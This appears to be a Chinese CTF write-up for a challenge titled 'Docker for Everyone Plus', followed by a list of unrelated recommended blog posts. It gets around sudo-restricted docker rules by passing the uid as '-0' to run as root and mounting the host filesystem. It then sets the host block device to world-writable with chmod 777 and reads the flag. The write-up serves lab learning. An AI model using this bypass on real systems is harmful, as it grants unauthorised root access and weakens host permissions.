Docker for Everyone Plus——Unbreakable!

修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:

发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag


老样子,rz传输tar.gz文件并解压载入tar镜像:

rz

gunzip dockerfile.tar.gz

sudo docker image load < dockerfile.tar


了解到一个方法:

uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile

cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块


修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:

chmod 777 /host/dev/vdb

cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}

相关推荐
TracyCoder1239 小时前
在Ubuntu上搭建大模型最基础的应用环境
linux·运维·ubuntu
云和数据.ChenGuang10 小时前
AI运维工程师技术教程之Linux环境下部署Deepseek
linux·运维·人工智能
qq_2516161910 小时前
ubuntu nginx文件服务器
linux·服务器·网络
kblj555510 小时前
学习Linux——学习工具——DNS--BIND工具
linux·运维·学习
晚风吹长发10 小时前
初步了解Linux中文件描述符-fd
linux·运维·服务器·c++·开发·文件
微风◝10 小时前
AlmaLinux9配置本地镜像仓库
linux·运维·服务器
赖small强10 小时前
【Linux C/C++开发】Linux C/C++ 高效延迟崩溃分析:基于 mprotect 的内存陷阱技术 (Electric Fence)
linux·c语言·c++·mprotect·buffer overflow
保持低旋律节奏10 小时前
linux——make/Makefile自动化工程构建
linux·运维·自动化
繁华似锦respect10 小时前
C++ & Linux 中 GDB 调试与内存泄漏检测详解
linux·c语言·开发语言·c++·windows·算法
爱潜水的小L10 小时前
自学嵌入式day25,树
linux